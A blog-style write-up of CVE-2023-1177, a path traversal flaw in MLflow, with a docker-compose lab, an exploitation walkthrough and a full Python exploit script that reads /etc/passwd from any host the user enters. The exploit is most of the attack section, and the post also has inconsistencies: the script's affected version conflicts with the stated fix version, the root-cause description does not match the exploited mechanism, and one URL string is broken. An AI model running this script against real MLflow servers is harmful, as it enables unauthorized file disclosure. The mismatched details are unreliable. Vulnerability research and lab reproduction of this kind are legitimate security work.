CVE-2023-1177: Path Traversal Vulnerability in MLflow

Introduction

CVE-2023-1177 refers to a path traversal vulnerability discovered in MLflow, an open-source platform for managing the machine learning lifecycle. This vulnerability allows attackers to access arbitrary files on the underlying system running MLflow due to improper validation of user-provided paths.

Technical Analysis

The vulnerability resides in the way MLflow handles user input within the mlflow server and mlflow ui commands. These commands utilize the Flask web framework with a static file serving functionality that lacks proper path sanitization. An attacker can craft a specially crafted URL containing a path traversal sequence (e.g., ../) to access files outside the intended directory.

Impact

A successful exploit of CVE-2023-1177 can have severe consequences for an MLflow deployment. Here's a breakdown of potential impacts:

• Data Exfiltration: Attackers can access sensitive data stored on the system, including source code, configuration files, and potentially even machine learning models.

• System Compromise: By reaching critical system files, attackers might gain unauthorized access or even execute arbitrary code on the server.

• Disruption of Operations: Exploiting the vulnerability could disrupt normal MLflow operations by deleting or modifying essential files.

Exploitation (Proof of Concept)

To build a proof of concept lab for this exploit, we will first need to host a mlflow instance. Let's use the following docker-compose to set up the local environment:

version: "3.9"
services:
  s3:
    image: minio/minio:RELEASE.2021-11-24T23-19-33Z
    restart: unless-stopped
    ports:
      - "9000:9000"
      - "9001:9001"
    environment:
      - MINIO_ROOT_USER=${AWS_ACCESS_KEY_ID}
      - MINIO_ROOT_PASSWORD=${AWS_SECRET_ACCESS_KEY}
    command: server /data --console-address ":9001"
    networks:
      - internal
      - public
    volumes:
      - minio_volume:/data
  db:
    image: mysql:8.2.0
    restart: unless-stopped
    container_name: mlflow_db
    expose:
      - "3306"
    environment:
      - MYSQL_DATABASE=${MYSQL_DATABASE}
      - MYSQL_ROOT_PASSWORD=${MYSQL_ROOT_PASSWORD}
      - MYSQL_ROOT_HOST=%
    networks:
      - internal
  mlflow:
    container_name: tracker_mlflow_vuln
    image: tracker_ml_vuln
    restart: unless-stopped
    build:
      context: ./mlflow
      dockerfile: Dockerfile
    ports:
      - "15000:5000"
    environment:
      - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID}
      - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY}
      - AWS_DEFAULT_REGION=${AWS_REGION}
      - MLFLOW_S3_ENDPOINT_URL=http://s3:9000
    networks:
      - public
      - internal
    entrypoint: mlflow server --backend-store-uri
mysql+pymysql://root:${MYSQL_ROOT_PASSWORD}@db:3306/${MYSQL_DATABASE}
--default-artifact-root s3://minio/ --artifacts-destination s3://${AWS_BUCKET_NAME}/ -h
0.0.0.0
    depends_on:
      wait-for-db:
        condition: service_completed_successfully
  create_s3_buckets:
    image: minio/mc
    depends_on:
      - "s3"
    entrypoint: >
      /bin/sh -c "
      until (/usr/bin/mc alias set minio http://s3:9000 '${AWS_ACCESS_KEY_ID}'
'${AWS_SECRET_ACCESS_KEY}') do echo '...waiting...' && sleep 1; done;
      /usr/bin/mc mb minio/minio;
      exit 0;
      "
    networks:
      - internal
  wait-for-db:
    image: atkrad/wait4x
    depends_on:
      - db
    command: tcp db:3306 -t 90s -i 250ms
    networks:
      - internal
networks:
  internal:
  public:
    driver: bridge
volumes:
  db_volume:
  minio_volume:

The Dockerfile in ./mlflow folder will be:

FROM ghcr.io/mlflow/mlflow:v2.0.0
RUN pip install boto3 pymysql cryptography
ADD . /app
WORKDIR /app

Let's build the images and run the containers:

docker-compose up

Once we have the containers running, we can access the mlflow interface at http://localhost:15000 based on our docker compose.

Now the attacker is all set to perform the exploit. To exploit CVE-2023-1177:

• Attacker Knowledge: The attacker needs knowledge about the internal structure of the MLflow server and potentially the location of sensitive data.

• Crafting Malicious URL: The attacker will utilize the exploit script provided below to automatically generate a unique model name and constructs a specially crafted URL containing the path traversal sequence pointing to the /etc/passwd file (This is the file we are interested in as an attacker). This URL is then sent as part of a POST request to the MLflow server's API endpoints (that we have already hosted using docker above).

• Victim Interaction: The attacker initiates the exploit script, which sends the crafted requests to the MLflow server.

• Exploit Execution:

  • The script first creates a model with the generated unique name on the MLflow server.

  • Then, it attempts to update the model, exploiting the vulnerability by including the path traversal payload (source: "file:///etc/") in the request payload.

  • If successful, the script retrieves the content of the /etc/passwd file through the MLflow server's API endpoint for fetching artifact data (/model-versions/get-artifact). The response from this request contains the content of the /etc/passwd file, which is printed out by the script.

• Impact: If the exploit is successful, the attacker can retrieve sensitive system information such as user account details from the /etc/passwd file, demonstrating the severity of the vulnerability.

Exploit Script

import requests
import os,sys
import uuid
import json
import time

#generating unique id
os.system("clear")
print("=  CVE-2023-1177  =\n  MLflow < 2.1.1  \n===================\n")
print ("Enter the IP or Hostname of the server:")
hostname_or_ip=input()
server=str(hostname_or_ip)
print ("Exploitation on: "+server)
time.sleep(2)
#Generate unique id for model name
name=str(uuid.uuid4())
print ("[+] Generated Unique model name: "+name)
time.sleep(1)
create_model_url = "http://"+server+"/ajax-api/2.0/mlflow/registered-models/create"
update_model_url = "http://"+server+"/ajax-api/2.0/mlflow/model-versions/create"
get_data_url = "http://"+server+"/model-versions/get-artifact?path=passwd
name="+name+"&version=1"
data = {"name":name}
payload = {"name":name,"source":"file:///etc/"}

#Create model
print ("[+] Creating model")
time.sleep(1)
response_create_model = requests.post(create_model_url,json=data)
if (response_create_model.status_code==200):
        print ("[+] Successful! ")
        time.sleep(2)
#Updating model
print ("[+] Updating model ")
time.sleep(1)
response_update_model = requests.post(update_model_url,json=payload)
if (response_update_model.status_code==200):
        print ("[+] Successful! ")
        time.sleep(2)

#Fething content of /etc/passwd file
print ("[+] Fetching content of /etc/passwd file")
time.sleep(1)
response_get_data = requests.get(get_data_url)
if (response_get_data.status_code==200):
        print ("[+] Success!")
        print(response_get_data.text)

Mitigation

Upgrading to MLflow version 2.2.1 or later addresses this vulnerability. The fix involves implementing proper path validation within the static file serving functionality, preventing attackers from exploiting relative paths outside the designated directory.

Recommendations for Researchers

• Analyze the specific code changes introduced in MLflow version 2.2.1 to understand the implemented path validation mechanism.

• Explore potential bypass techniques that might circumvent the mitigation, considering edge cases and alternative path traversal methods.

• Investigate the broader implications of path traversal vulnerabilities in web applications used for machine learning and data science tasks.

Conclusion

CVE-2023-1177 serves as a reminder of the importance of secure coding practices and input validation. By implementing proper path sanitization and adhering to secure development principles, developers can significantly reduce the attack surface for path traversal vulnerabilities in MLflow and similar web applications. Researchers play a crucial role in identifying and analyzing such vulnerabilities, contributing to the development of robust security measures for the machine learning ecosystem.

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2023-1177 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.